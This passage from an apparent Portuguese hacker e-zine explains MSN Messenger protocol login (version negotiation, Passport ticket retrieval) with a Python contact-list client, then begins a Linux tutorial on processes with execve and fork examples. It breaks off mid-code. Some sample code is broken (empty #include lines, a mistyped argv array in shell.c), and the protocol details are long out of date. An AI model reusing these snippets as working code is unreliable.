offline, etc), bem como notificar o recebimento de e-mails em sua conta
Hotmail.
Switchboard (SB):
Eh o responsavel em manipular cada sessao de mensagens, ou seja, quando
eh estabelecido uma comunicacao entre clientes, a sessao para a troca
dessas mensagens eh controlado pelo SB. Uma sessao pode ser dada pela
comunicacao one-to-one, entre duas entidades apenas, ou em um chat,
fazendo o switchboard trabalhar de forma compartilhada, desta forma
controlando quem esta no chat.
Daqui pra frente usaremos uma sintaxe basica para definir o que esta sendo
enviado ao servidor e o que sera sua resposta. A string precedida por um ">>>"
definira nosso envio, enquanto um "<<<" designa o recebimento da resposta.
Existem duas formas de se iniciar o processo de autenticacao. Muitos
clientes web (ex.: webmessenger.com) utilizam o protocolo HTTP para suas cone-
xoes, nao precisando assim um software cliente como o que a maioria usa, neces-
sitando apenas um browser. Outra alternativa eh a conexao via proxy, assim de-
vendo haver um software cliente como o proprio MSN Messenger da Microsoft.
A conexao HTTP ocorre atraves do gateway.messenger.hotmail.com, na porta
80. Os commandos sao enviados atraves do metodo post para um script cgi
responsavel em atender seu pedido, enviando alguma resposta referente a eles.
Todos os comandos devem seguir as regras padronizadas pelo HTTP especificadas
no RFC-2616, contendo um comando por requerimento inserido em seu campo de
corpo. Quando feito um HTTP request, o servidor responde com um HTTP reply
contendo em seu header a string "X-MSN-Messenger", o endereco IP a ser
realizado o proximo requerimento e um ID da sessao estabelecida. Caso a sessao
seja fechada (atraves de time-out ou de uma ordem dada), havera um valor
definindo seu encerramento, "Session=close".
--=[ 3.0 Processo de Autenticacao
Entao, finalmente podemos comecar a ter um esboco. O primeiro (e mais
dificil) passo na construcao de um cliente MSN, apos ter definido os processos
iniciais acima, eh realizar a autenticacao no servidor NS. Todo preludio deve
comecar no acordo do protocolo a ser utilizado entre ambas as partes(servidor e
cliente). Criando-se um socket devidamente correto ao NS, enviaremos a seguinte
string contendo a versao que iremos trabalhar:
>>> VER 1 MSNP9 MSNP10\r\n
<<< VER 1 MSNP9 MSNP10\r\n
Acima enviamos a string de versao para o NS, recebendo uma resposta de que as
versoes 9 e 10 do MSNP estao ativas naquele servidor. Agora um exemplo em que
nao houve acordo entre as partes, ocasionando numa desconexao:
>>> VER 1 MSNP9 MSNP10\r\n
<<< VER 1 0\r\n
OBS.: Veja que em cada mensagem ha um CR+LF para tratamento, requerido pelo
protocolo.
Caso receba resposta negativa, tente mudar as versoes, ja que o MSN vive em
constante atualizacao com novas versoes, pode ser que a versao do MSNP esteja
mais atualizada tambem.
Uma vez tendo a confirmacao do protocolo corretamente aceita, voce deve-
ra enviar alguns dados referente ao seu cliente e sistema operacional para o
NS, que contem algumas informacoes como seu idioma, o nome e versao do cliente
utilizado, o nome e versao do SO, etc. Caso seja o cliente oficial da
Micro$oft, o servidor retornara como resposta uma versao recomendada para uso.
>>> CVR 2 0x0409 win 4.10 i386 MSMSGR 6.2.0137 MSMSGR eu@email.com\r\n
Este foi um exemplo de um cliente oficial. Os parametros passados sao os
seguintes:
1o. - Numero hexa especificando o locale ID;
2o. - Tipo de SO utilizado;
3o. - Versao do SO;
4o. - Arquitetura;
5o. - Nome do cliente (MSMSGR eh o oficial);
6o. - Versao do cliente;
7o. - Este parametro SEMPRE sera o nome da versao oficial (MSMSGR);
8o. - Sua conta passport.
Caso queira especificar um ID diferente em sua localidade, veja a tabela com
alguns valores:
LOCALIDADE: LCID: | LOCALIDADE: LCID:
-----------------------------------------------------------------------
(default) 2048 | Hungria 1038
Bulgaria 1026 | Japao 1041
China 2052 | Korea 1042
Croacia 1050 | Portugal 2070
Belgica 2061 | Brasil 1046
Australia 3081 | Russia 1049
Canada 4105 | Espanha 1034
Jamaica 8201 | Argentina 11274
Nova Zelandia 5129 | Bolivia 16394
Caribe 9225 | Chile 13322
Filipinas 13321 | Colombia 9226
Africa do Sul 7177 | Costa Rica 7130
Inglaterra 2057 | Mexico 2058
Estados Unidos 1033 | Paraguai 15370
Franca 1036 | Uruguai 14346
Alemanha 1031 | Suecia 1053
-----------------------------------------------------------------------
OBs.: No comando anterior, usei o LCID (locale id) numero 0409, que eh default
do cliente oficial.
Apos ter enviado e recebido a resposta CVR, voce devera enviar o comando
que identifica qual usuario (passaport) ira querer logar. Essa string devera
conter um parametro de autenticacao que sempre sera TWN (algumas coisas ainda
nao foram totalmente desvendadas hehe), um 'I' para indicar que o processo sera
uma autenticacao (initiating authentication), e por ultimo seu e-mail que ira
realizar o logon.
>>> USR 3 TWN I eu@email.com\r\n
Caso o servidor nao reconheca seu comando, ele ira fechar a conexao sem
nenhuma resposta, ou, dependendo da string, podera resultar numa mensagem de
erro. A tabela abaixo mostra alguns dos erros mais encontrados, lembrando que
nem todos foram documentados por ainda serem desconhecidos. Caso queira ver
mais sobre eles, recomendo visitar um dos links que disponibilizo no final deste
artigo.
ERROS: | DESCRICAO:
------------------------------------------------------------------------
207 | Usuario ja esta logado.
------------------------------------------------------------------------
223 | Caso tente criar novo grupo de contatos, esse erro indica
| que voce ja atingiu o maximo permitido (30).
------------------------------------------------------------------------
500 | Erro interno do NS (servico temporariamente indisponivel).
------------------------------------------------------------------------
701 | Erro no comando CVR.
------------------------------------------------------------------------
911 | Falha na autenticacao com o SB.
------------------------------------------------------------------------
928 | Ticket invalido (veremos mais sobre isso na sequencia).
------------------------------------------------------------------------
A resposta dada pelo NS sera simples de ser entendida. Caso uma string
contendo a instrucao XFR seja retornada, ela indicara um segundo servidor a ser
conectado, obrigando voce fechar a conexao atual e criar uma nova no servidor
indicado. Os parametros, conforme visto abaixo, correspondem a flag NS
indicando que sera feita uma transferencia entre Notification Server, o server
e porta que voce devera conectar (separados por dois-pontos), um "0" que nao
nos importa neste caso, e o IP onde esta conectado atualmente. Quando criar
a nova conexao, voce devera reiniciar todo o processo de autenticacao descrito
acima, enviando a versao do protocolo, etc. Abaixo um exemplo de resposta XFR:
<<< XFR 3 NS 207.46.106.145:1863 0 207.46.104.20:1863\r\n
Uma vez reconectado no novo IP, a string de resposta contera um USR, in-
dicando que houve sucesso nesta etapa do handshake. Se voce achou dificil esta
parte, recomendo dar uma lida novamente desde o comeco, agora vem a parte traba-
lhosa para poder autenticar. Daqui pra frente comeca um processo demorado, voce
tera que manipular muitas strings que serao recebidas como resposta atraves dos
comandos que serao enviados. Recomendo utilizar uma linguagem de alto-nivel de
abstracao, que manipule strings com facilidade, isso vai ajudar muito. (se
quiser usar regex, sinta-se a vontade :D).
--=[ 4.0 Obtendo MS Passport e Ticket
Agora que enviamos o pedido corretamente devemos obter o famoso MS Pas-
sport para poder haver a autenticacao. Mais uma vez devemos criar um socket
responsavel pela comunicacao com este novo servidor chamado "Nexus", ele eh um
server dedicado para atender as requisicoes dos passports para os usuarios,
indicando o ticket (uma string aleatoria) para autenticacao final. Para fazer
isto, devemos enviar um GET pelo protocolo HTTPS versao 1.0 para a url
"https://nexus.passport.com/rdr/pprdr.asp", que ira retornar os dados para
serem tratados. Abaixo esta um exemplo de retorno:
<<< HTTP/1.1 200 OK\r\n
<<< Server: Microsoft-IIS/5.0\r\n
<<< Date: Mon, 02 Jun 2003 11:57:47 GMT\r\n
<<< Connection: close\r\n
<<< PassportURLs: DARealm=Passport.Net,DALogin=login.passport.com/login2.srf,DAReg=http://register.passport.net/uixpwiz.srf,Properties=https://register.passport.net/editprof.srf,Privacy=http://www.passport.com/consumer/privacypolicy.asp,GeneralRedir=http://nexusrdr.passport.com/redir.asp,Help=http://memberservices.passport.net/memberservice.srf,ConfigVersion=11\r\n
<<< Content-Length: 0\r\n
<<< Content-Type: text/html\r\n
<<< Cache-control: private\r\n
<<< \r\n
O nexus apenas esta indicando o server a ser contactado para adquirir o
ticket. Perceba no parametro PassportURLs que existe uma variavel DALogin apon-
tando ao servidor "login.passport.com", que sera responsavel em nos entregar o
ticket. Logo apos a comunicacao com o servidor passport, ha o encerramento da
conexao como visto em "Connection: close\r\n".
Devemos agora enviar um GET usando o mesmo HTTPS para a url indicada na
conexao anterior, "login.passport.com/login2.srf". No parametro Authorization,
algumas variaveis deverao ser definidas pelo programador, que sao "sign-in" e
"pwd", representando respectivamente o e-mail 'urlencoded' e a senha. Este ser-
vidor de login devera receber nosso comando da seguinte forma:
>>> GET /login2.srf HTTP/1.0\r\n
>>> Authorization: Passport1.4 OrgVerb=GET,OrgURL=http%3A%2F%2Fmessenger%2E
msn%2Ecom,sign-in=eu%40email.com,pwd=password,lc=1033,id=507,tw=40,fs=1,ru=http
%3A%2F%2Fmessenger%2Emsn%2Ecom,ct=1062764229,kpp=1,kv=5,ver=2.1.0173.1,tpf=43f8
a4c8ed940c04e3740be46c4d1619\r\n
>>> Host: login.passport.com\r\n\r\n
(nao esqueca de encodar o email, como visto acima, substituindo '@' por '%40').
Respondendo a nossa requisicao, o servidor podera retornar uma mensagem de
redirecionamento como mostrado abaixo:
<<< HTTP/1.1 302 Found\r\n
<<< Server: Microsoft-IIS/5.0\r\n
<<< Date: Sun, 06 Mar 2005 11:58:32 GMT\r\n
<<< PPServer: H: LAWPPLOG5C006\r\n
<<< Connection: close\r\n
<<< Content-Type: text/html\r\n
<<< Expires: Sun, 06 Mar 2005 11:57:32 GMT\r\n
<<< Cache-Control: no-cache\r\n
<<< cachecontrol: no-store\r\n
<<< Pragma: no-cache\r\n
<<< P3P: CP="DSP CUR OTPi IND OTRi ONL FIN"\r\n
<<< Authentication-Info: Passport1.4 da-status=redir\r\n
<<< Location: https://login.passport.com/login2.srf?lc=1033\r\n
<<< \r\n
Aqui vemos algo importante: o servidor nos pede para redirecionar a co-
nexao para o servidor "loginnet.passport.com". Este eh um jeito mais confiavel
para o processo de obtencao de ticket, porem pode-se seguir a regra de que se
voce possuir uma conta hotmail ou msn, o servidor sera o citado acima, caso con-
trario, uma conta fora dos dominios da Micro$oft, o servidor sera o conhecido
"login.passport.com".
Caso a mensagem nao seja a de redirecionamento, obteremos o nosso ticket:
<<< HTTP/1.1 200 OK\r\n
<<< Server: Microsoft-IIS/5.0\r\n
<<< Date: Sun, 06 Mar 2005 11:59:00 GMT\r\n
<<< PPServer: H: LAWPPIIS6B061\r\n
<<< Connection: close\r\n
<<< Content-Type: text/html\r\n
<<< Expires: Sun, 06 Mar 2005 11:58:00 GMT\r\n
<<< Cache-Control: no-cache\r\n
<<< cachecontrol: no-store\r\n
<<< Pragma: no-cache\r\n
<<< P3P: CP="DSP CUR OTPi IND OTRi ONL FIN"\r\n
<<< Set-Cookie: MSPSec1= ; expires=Thu, 30-Oct-1980 16:00:00 GMT;domain=.pas
sport.com;path=/;HTTPOnly= ;version=1\r\n
<<< Set-Cookie: MSPSec=5Cdd1SshOELpwqafsSuYSiDEuEtP1PUaX99YOZcaoJP3vkIn7DXoz
t868I7eJNjcWG; HTTPOnly= ; domain=.passport.com;path=/;secure=\r\n
<<< Set-Cookie: MSPAuth=5yDBU0BqvDa7UiY9W9nVEncRXCLD4gjLmtEr2XkunnafkOgdgG5x
*CEpqe7MyZEOir*EiA1PbwLKzqCGO671TeTQ$$; HTTPOnly= ; domain=.passport.com;path=/\r\n
<<< Set-Cookie: MSPProf=5a0mKE6PKDsxz!*4apQt0amnQOGLYqcCm78ie!MmHq0KnAiIJM0z
0Zajs8NL7ux7Ae0hnH5AAoB!zXIZ9jTA2rcQttC*RKKRsc9k7JflwThB!H0Qa*6ipGcdj5co6taPir;
HTTPOnly= ; domain=.passport.com;path=/\r\n
<<< Set-Cookie: MSPVis=507;domain=.passport.com;path=/\r\n
<<< Set-Cookie: MSPPre=eu@email.com; HTTPOnly= ; domain=.passport.com;path=/;
Expires=Wed, 30-Dec-2037 16:00:00 GMT\r\n
<<< Set-Cookie: MSPShared= ; HTTPOnly= ; domain=.passport.com;path=/;Expires=
Thu, 30-Oct-1980 16:00:00 GMT\r\n
<<< Authentication-Info: Passport1.4 da-status=success,tname=MSPAuth,tname=
MSPProf,tname=MSPSec,from-PP='t=53*1hAu8ADuD3TEwdXoOMi08sD*2!cMrntTwVMTjoB3p6st
WTqzbkKZPVQzA5NOt19SLI60PY!b8K4YhC!Ooo5ug$$&p=5eKBBC!yBH6ex5mftp!a9DrSb0B3hU8aq
AWpaPn07iCGBw5akemiWSd7t2ot!okPvIR!Wqk!MKvi1IMpxfhkao9wpxlMWYAZ!DqRfACmyQGG112B
p9xrk04!BVBUa9*H9mJLoWw39m63YQRE1yHnYNv08nyz43D3OnMcaCoeSaEHVM7LpR*LWDme29qq2X3
j8N',ru=http://messenger.msn.com\r\n
<<< Content-Length: 0\r\n
<<< \r\n
Enfim, temos o nosso ticket, mostrado no parametro "Authenticaction-Info". No
nosso caso, ele sera:
t=53*1hAu8ADuD3TEwdXoOMi08sD*2!cMrntTwVMTjoB3p6stWTqzbkKZPVQzA5NOt19SLI60PY!b8K
4YhC!Ooo5ug$$&p=5eKBBC!yBH6ex5mftp!a9DrSb0B3hU8aqAWpaPn07iCGBw5akemiWSd7t2ot!ok
PvIR!Wqk!MKvi1IMpxfhkao9wpxlMWYAZ!DqRfACmyQGG112Bp9xrk04!BVBUa9*H9mJLoWw39m63YQ
RE1yHnYNv08nyz43D3OnMcaCoeSaEHVM7LpR*LWDme29qq2X3j8N
Note que qualquer que seja a resposta do servidor, a conexao sera encerrada,
tanto para redirecionamento quanto na obtencao final do ticket.
--=[ 5.0 Conexao Estabelecida
Ufa! Finalmente passamos pela parte mais demorada do processo. Agora que
temos o ticket, mande o comando USR para o primeiro NS que voce conectou (depois
de tantas conexoes, espero que ainda lembre :P).
>>> USR 4 TWN S t=(blablabla.. toda a string do ticket)
Quando enviar este comando, voce estara conectado. Uma dica interessante
eh estar online em um cliente como aMSN ou o proprio oficial, e perceber que
quando o comando for enviado com sucesso sua conexao no cliente ira cair,
visto que o MSNP nao permite duas conexoes simultaneas.
Depois de conectar, pode ser implementado uma serie de instrucoes. Nao
irei aborda-las agora justamente por ser muito extensa, e este paper eh apenas
o basico para iniciar o jovem aprendiz neste mundo. Mas, caso queira ver sua
lista de contatos, envie alguns comandos de sincronizacao:
>>> SYN 4 0 0\r\n
Imprima a resposta do server :)
Se voce interessar por mais instrucoes, consulte o link que disponibilizo no
final do paper.
--=[ 6.0 Exemplo Simples
Confira um pequeno script feito em python que fiz exemplificando toda
essa teoria. Para executar apenas atribua um "+x" nele e execute. (espero que
entendam python, nao eh complicado caso tenha alguma nocao de programacao).
<++> msn.py
#!/usr/bin/env python
######################################################################
# - msn.py
#
# Cliente MSN que obtem a lista de contatos de uma determinada conta.
# Programa exemplo como parte do artigo "MSN Hacking" publicado no
# MOTD Guide #4. Confira em guide.motdlabs.org
#
# by Leandro
######################################################################
from socket import *
from sys import *
from os import *
from string import *
import getpass
####################################
# Funcao para pegar o MSN Passport
def passport(login,senha,string):
sock_passport = socket(AF_INET,SOCK_STREAM)
sock_passport.connect(('nexus.passport.com',443)) # Veja a porta...
req = "GET /rdr/pprdr.asp HTTP/1.0\r\n\r\n"
ssl_conn = ssl(sock_passport) # ... SSL :)
ssl_conn.write(req)
buffer_passport = ssl_conn.read()
tmp = buffer_passport.split("DALogin=")
buffer_passport = tmp[1]
tmp = buffer_passport.split(",")
buffer_passport = tmp[0]
tmp = buffer_passport.split("/")
passport_server = tmp[0]
sock_passport.close()
sock_passport = socket(AF_INET,SOCK_STREAM)
sock_passport.connect((passport_server,443)) # Fora do nexus.passport.com
ssl_conn = ssl(sock_passport)
str = string.split("TWN")
string = str[1]
str = string.split()
string = str[1]
username = login.split("@")
buffer_passport = "GET /login2.srf HTTP/1.0\r\n\r\nAuthorization: Passport1.4 OrgVerb=GET,OrgURL=http%3A%2F%2Fmessenger%2Emsn%2Ecom,sign-in=" + username[0] + "%40" + username[1] + ",pwd=" + senha + "," + string + "\r\n\r\nHost: " + passport_server + "\r\n\r\n"
ssl_conn.write(buffer_passport)
buffer_passport = ssl_conn.read()
if count(buffer_passport,"Location:") == 0:
sock_passport.close()
print "[-] Erro na aquisicao do Passport"
exit(0)
tmp = buffer_passport.split("Location:")
buffer_passport = tmp[1].split()
location = buffer_passport[0].split("?")
sock_passport.close()
log = login.split('@')
if log[1] == "hotmail.com" or log[1] == "msn.com":
server = "loginnet.passport.com"
else:
server = "login.passport.com"
sock_passport = socket(AF_INET,SOCK_STREAM)
sock_passport.connect((server,443))
ssl_conn = ssl(sock_passport)
buffer_passport = "GET /login2.srf HTTP/1.1\r\nAuthorization: Passport1.4 OrgVerb=GET,OrgURL=http%3A%2F%2Fmessenger%2Emsn%2Ecom,sign-in=" + username[0] + "%40" + username[1] + ",pwd=" + senha + "," + string + "\r\nHost: login.passport.com\r\n\r\n"
ssl_conn.write(buffer_passport)
buffer_passport = ssl_conn.read(2024)
tmp = buffer_passport.split('t=')
buffer_passport = tmp[1].split("\',ru=")
ticket = buffer_passport[0]
tmp = "USR 4 TWN S t=" + ticket + "\r\n"
sock_passport.close()
return(tmp)
####################################
# Principal
if len(argv) != 2:
print """
MSN Contact List - Example Version
==================================
Retorna a lista de contatos de uma conta MSN.
Uso: %s
-------------------------
Leandro A. Thomas
""" % argv[0]
exit(0)
senha = getpass.getpass("Digite sua senha: ")
conta = argv[1]
buffer_xfr = "XFR" # Parametro que define que a transacao de mensagens
# esta ocorrendo com sucesso
endereco = "messenger.hotmail.com" # Definindo nosso server
porta = 1863 # Porta padrao
while buffer_xfr == "XFR":
request = "VER 1 MSNP9 MSNP10\r\n" # Compativel com 2 versoes do MSNP
s = socket(AF_INET,SOCK_STREAM)
s.connect((endereco,porta))
s.send(request)
print "\n[+] Conectando (%s:%s)" % (endereco,porta)
buffer = s.recv(1024)
if buffer == "VER 1 0\r\n": # Avisando que houve algum erro
print "[-] Desconectado do servidor!"
exit(0)
request = "CVR 2 0x0409 win 4.10 i386 MSMSGR 6.2.0137 MSMSGR %s\r\n" % conta
s.send(request)
buffer = s.recv(1024)
request = "USR 3 TWN I %s\r\n" % conta
s.send(request)
print "[+] Enviando username (%s)" % conta
buffer = s.recv(1024)
splited_buffer = buffer.split()
if splited_buffer[0] == "XFR": # Conectar ao server indicado
buffer_xfr = "XFR"
foo = splited_buffer[3].split(':')
endereco = foo[0]
porta = int(foo[1])
print "[-] Redirecionando a outro servidor"
s.close()
elif splited_buffer[0] == "USR": # Conexao feita com sucesso
print "[+] Requerindo MS Passport"
auth = passport(conta,senha,buffer)
s.send(auth)
buffer = s.recv(1024)
print "[+] Usuario logado com sucesso!"
break
else:
print "[-] Erro desconhecido"
s.close()
exit(0)
# Alguns comandos de sincronizacao
buffer = "SYN 4 0 0\r\n"
s.send(buffer)
buffer = s.recv(1024)
buffer = "SYN 4 0 0\r\n"
s.send(buffer)
buffer = s.recv(1024)
buffer = "SYN 4 0 0\r\n"
s.send(buffer)
buffer = s.recv(1024)
print "\n\tSUA LISTA DE CONTATOS:\n"
buffer = "SYN 4 0 0\r\n"
s.send(buffer)
buffer = s.recv(1024)
buffer = "SYN 4 0 0\r\n"
s.send(buffer)
buffer = s.recv(3024)
buffer = "SYN 4 0 0\r\n"
s.send(buffer)
buffer = s.recv(1024)
buffer = "SYN 4 0 0\r\n"
s.send(buffer)
buffer = s.recv(1024)
print buffer
s.close()
<--> msn.py
--=[ 7.0 Referencias
Confira alguns links que disponibilizo caso queira se aprofundar no assunto.
Sei que sao poucos, mas garanto que sao suficientes :)
RFC 2616 - HyperText Transfer Protocol (HTTP)
Python Official
MSN Messenger Protocol
--=[ 8.0 Consideracoes Finais
"- Entendi o protocolo MSN, e dai?"
Entendendo seu funcionamento podemos nao apenas satisfazer a curiosida-
de do que ocorre por tras dos "bastidores" mas como tambem fucar, desenvolver
alguma pequena aplicacao utilizando os principios de comunicacao seguindo esse
protocolo, fazendo um "divertido" script ou ateh colaborando com projetos open
source. Ha algum tempo atras foi divulgado um binario para Windows que, quando
executado, mandava a mensagem "SOU GAY!!!" para todos os usuarios online em uma
contact list, utilizando esses mesmos principios :P
Por fim, fechando este artigo, peco desculpas por nao ter aprofundado
mais, apenas tentei resumir o maximo possivel para explicar os passos basicos do
protocolo, porem fiquei com medo de fazer algo meio superficial e deixar muita
gente sem entender direito algumas partes. Superficial? Bem, ficou um pouco,
ainda poderia ser dito muito mais, mas essa leitura ja deve valer a pena e
satisfazer muitos fucadores interessados em programar utilizando o MSNP :)
Antes que esqueca, gostaria de agradecer o pessoal do MotdLabs por terem
confiado em mim e mandar um 'alo' para alguns grandes amigos: galera do
RFDSLabs, GotFault, Recife Phrack Staff (hehehe), e toda a galera que eu
converso e troco informacoes.
Hacking for freedom, hacking for knowledgment!
Leandro
_EOF_
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-[06]-=[Linux além do printf I - Processos e Threads]=-|Jader H. S. (aka Vo)|-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
--=[ 1.0 Introdução
O sistema operacional Linux está entre os sistemas que mais crescem
atualmente. A expansão da sua utilização abre novas fronteiras para a comunida-
de de programadores e hackers, que possuem agora uma poderosa plataforma volta-
da em grande parte para essas pessoas sem perder sua flexibilidade, bastante
notável nos sistemas embarcados ou, em inglês, "embedded systems" que são sis-
temas utilizados em plataformas específicas, como sistemas de localização de
carros e aviões.
A flexibilidade herdada de sistemas UNIX presente no Linux aliada a uma
interface de programação bastante versátil permite a construção de aplicações
diversas e bastante inovadoras, aptas a concorrer com softwares comerciais bas-
tante conhecidos presentes em outras plataformas.
Esta série de artigos dedica-se basicamente ao esclarecimento dos meca-
nismos e ferramentas disponíveis para a programação em ambiente Linux, além da
introdução de conceitos da computação e algoritmos que podem aumentar a produ-
tividade de seu software. Este artigo trata sobre processos e threads e manei-
ras de manipulá-los em ambiente Linux.
* Todos os exemplos aqui utilizados foram criados por mim e testados com sucesso
num ambiente Linux, kernel 2.6.15, AMD Athlon 1.6 GHz, 512MB Ram.
--=[ 2.0 Pequena introdução a sistemas multitarefa
Um processador é uma peça eletrônica, e como tal, tem seus limites. Ge-
ralmente não se processa mais de uma informação por vez em um processador (ex-
ceto com a tecnologia HyperThreading, que emula dois processadores em um só).
Isso equivale a dizer que nenhum programa pode ser executado quando outro está
ocupando o processador.
O MS-DOS ilustra bem essa situação. Se você ainda se lembra do MS-DOS,
deve lembrar também que quando você abria um editor de texto, por exemplo, fi-
cava preso ao mesmo e não podia executar nenhum outro programa enquanto o edi-
tor estivesse aberto (o mesmo se aplicava a quaisquer outros programas).
Atualmente, a maioria dos sistemas é multitarefa. Nestes sistemas, os
programas compartilham o tempo de execução no processador com outros programas.
O programa que está sendo executado é paralisado e ocorre uma mudança do con-
texto de execução de maneira tão rápida que um ser humano não é capaz de notar.
Assim como um filme é uma seqüência de imagens estáticas, que são tro-
cadas tão rapidamente de maneira que nosso cérebro as funde em uma animação, os
programas rodam em seqüência, e cedem (passivamente) a execução para outros
programas em espaços de tempo imperceptíveis a um ser humano. Essa rotação da
execução dos programas no processador é realizada pelo sistema operacional, que
também gerencia a quantidade de tempo que um programa permanece executando por
vez.
--=[ 3.0 Processos
Um processo é um conjunto de estruturas dados e códigos que compõem ou
não uma unidade de execução interpretável pelo kernel, ou seja, um processo é
basicamente um programa na memória, sendo executado ou aguardando execução.
A estrutura de um processo varia conforme a plataforma de software e
hardware. Os processos geralmente possuem identificadores únicos no sistema
conhecidos como PID (Process IDentifiers) que permitem identificar um processo
para a classificação e realização de tarefas externas, como finalizar a execu-
ção de maneira forçada, por exemplo, quando um processo "trava". Genericamente,
um processo (ou thread, veremos mais à frente) está em 1 de 3 estados distin-
tos: executando, aguardando execução ou bloqueado.
Os processos que aguardam execução geralmente dispõem-se em uma fila
ordenada, que, de acordo com o agendador de processos (do sistema operacional),
pode modificar-se dinamicamente para priorizar ou não a execução de determinado
processo. Um processo bloqueado está aguardando algum recurso ou a finalização
de alguma operação de entrada e saída (E/S ou I/O) para continuar sua execução
(leitura do disco, por exemplo). Um processo que está executando é um processo
que está executando (ora, pensou que fosse o quê?).
Os processos possuem seu próprio espaço virtual que varia de arquitetu-
ra para arquitetura (geralmente e teoricamente: 4GB em x86, mas pode chegar até
64GB). O espaço virtual permite que processos não tenham acesso a dados perten-
centes a outros processos e dá ao processo a "impressão" de que a máquina está
executando apenas o processo atual.
O espaço virtual de um processo geralmente divide-se em 3 partes: código
(text), dados (data) e pilha (stack). O código (text) geralmente compreende me-
mória protegida contra alterações, permitindo somente leitura e execução. Os
dados (data) compreendem a área de dados estáticos e a de dados dinâmicos (Heap).
Os dados estáticos já estão definidos para o programa mesmo antes de sua execu-
ção, enquanto a área de dados dinâmicos permite a criação e alocação de memória
durante a execução do programa. A pilha é uma área da memória utilizada pelo
programa para armazenar dados dinâmicos que serão acessados rapidamente. A pilha
pode crescer ou diminuir conforme as necessidades do processo. No Linux da ar-
quitetura x86, o modelo de memória mais utilizado é o seguinte:
Código em endereços baixos
Dados entre código e pilha
Pilha nos endereços altos
A pilha "cresce para baixo" na arquitetura x86, ou seja, dos endereços
mais altos para os mais baixos. Podemos confirmar esta disposição com um pequeno
teste. Abaixo está um código que imprime a posição aproximada do início do có-
digo, pilha e dados.
<++> lap1/posicao.c
int meu_int_estatico;
int main(void)
{
int meu_int = 0;
printf("Código aproximadamente em: 0x%.8X\n"
"Dados aproximadamente em: 0x%.8X\n"
"Pilha aproximadamente em: 0x%.8X\n", main, &meu_int_estatico, &meu_int);
return 0;
}
<--> lap1/posicao.c
Acredito que é um código portável. Compilando e executando, obtive:
Código aproximadamente em: 0x0804833C
Dados aproximadamente em: 0x08049490
Pilha aproximadamente em: 0xBF8D7474
Confirmado. Ao menos aqui =P
Note que os endereços realmente estão em ordem crescente.
Se você ainda estiver em dúvida quanto ao endereçamento no espaço vir-
tual, é só lembrar que os endereços da memória virtual não são necessariamente
endereços reais. Os endereços são mapeados de endereços virtuais a reais (ge-
ralmente pelo processador). É possível manter uma variável no início do primei-
ro MB da memória (endereço 0x10000) e mapeá-la no início do terceiro GB (ende-
reço 0xC0000000). Quando o programa for acessar essa variável no endereço 3GB,
o processador faz a conversão desse endereço para o endereço original (1MB,
0x00010000).
--=--=[ 3.1 Criando processos
A maneira mais simples de se criar processos é através da syscall (cha-
mada do sistema (leia "função do kernel" se estiver com dúvidas)) execve(),
bastante famosa em artigos sobre overflow. Essa função cria um novo processo
através de um arquivo executável, passando argumentos e, opcionalmente, variá-
veis de ambiente. Vejamos um simples código que executa o famoso "/bin/sh":
<++> lap1/shell.c
/* Execve /bin/sh */
int main(void)
{
char argv[2];
argv[0] = "/bin/sh";
argv[1] = NULL;
execve("/bin/sh", argv, NULL);
return 0;
}
<--> lap1/shell.c
Ao executar esse exemplo, se não houverem erros, o programa a ser exe-
cutado ("/bin/sh") irá sobrescrever os dados e código do processo atual e a
função nunca retornará. O processo criado herda todos os privilégios e manipu-
ladores de arquivos que ainda estão abertos durante a chamada a execve(). O no-
vo processo também herda o PID do processo pai.
Os parâmetros de execve são o nome do arquivo/script a ser usado para
criar o novo processo, os parâmetros passados ao novo processo (não pode ser
NULL) e as variáveis de ambiente (que pode ser null).
A limitação de execve reside basicamente no fato de que o processo que
a chama perde seu espaço de execução para o processo criado. Para ultrapassar
essa limitação, existe outra chamada, a fork().
A fork() cria um processo filho idêntico ao processo pai, exceto pelo
PID e pelos manipuladores de arquivos. A fork retorna ao processo pai o pid do
processo filho, e ao processo filho, retorna 0. Em caso de erro retorna -1 e o
processo filho não é criado. A função fork() não tem parâmetros. Vamos ver um
exemplo simples de código que utiliza fork() para criar um servidor usando so-
ckets.
<++> lap1/forkserver.c
/* Fork socket server */
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define MAX_CLIENTES 4
#define MAX_RECVS 4
int ecoar_cliente(int, sockaddr_in *);
int main(int argc, char *argv[])
{
if( argc < 2 )
{
printf("Fork socket server\nUso:\n\t%s porta [nome]\n", argv[0]);
return 0;
}
unsigned int porta = atoi(argv[1]);
if( ! porta || porta >= 65536 )
{
printf("Valor de porta inválido: %u\nDeveria estar entre 1 e 65535", porta);
return -1;
}
char *nome;
if( argc >= 3 )
{
nome = argv[2];
}
else
{
nome = "localhost";
}
int server_socket = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
if( server_socket == -1 )
{
perror("Erro em socket()");
return -2;
}
sockaddr_in sAddr;
bzero(& sAddr, sizeof(sAddr));
hostent *ht = NULL;
if( isdigit( nome[0] ) )
{
in_addr_t ad = inet_addr(nome);
ht = gethostbyaddr(& ad, sizeof(ad), AF_INET);
}
else
{
ht = gethostbyname(nome);
}
if( ! ht )
{
perror("Erro em gethostby*()");
close(server_socket);
return -3;
}
sAddr.sin_family = PF_INET;
sAddr.sin_port = htons(porta);
memcpy( & sAddr.sin_addr, ht->h_addr_list[0], sizeof(in_addr));
if( bind(server_socket, (sockaddr *) & sAddr, sizeof(sAddr)) )
{
perror("Erro em bind()");
close(server_socket);
return -4;
}
int nc, new_fd, pid[4];
socklen_t addrsize = sizeof(sockaddr_in);
sockaddr_in cliente_addr;
for(nc = 0;nc < MAX_CLIENTES;nc ++)
{
if( listen(server_socket, 4) )
{
perror("Erro em listen()");
close(server_socket);
return -5;
}
new_fd = accept(server_socket, (sockaddr *) & cliente_addr, & addrsize);
if( new_fd == -1 )
{
perror("Erro em accept()");
close(server_socket);
return -6;
}
/* Aqui está o que interessa =]
*/
pid[nc] = fork();
if( pid[nc] == -1 )
{
perror("Erro em fork()");
close(server_socket);
return -7;
}
if( ! pid[nc] )
{
ecoar_cliente(new_fd, & cliente_addr);
return 0;
}
}
close(server_socket);
return 0;
}
int ecoar_cliente(int fd, sockaddr_in *addr)
{
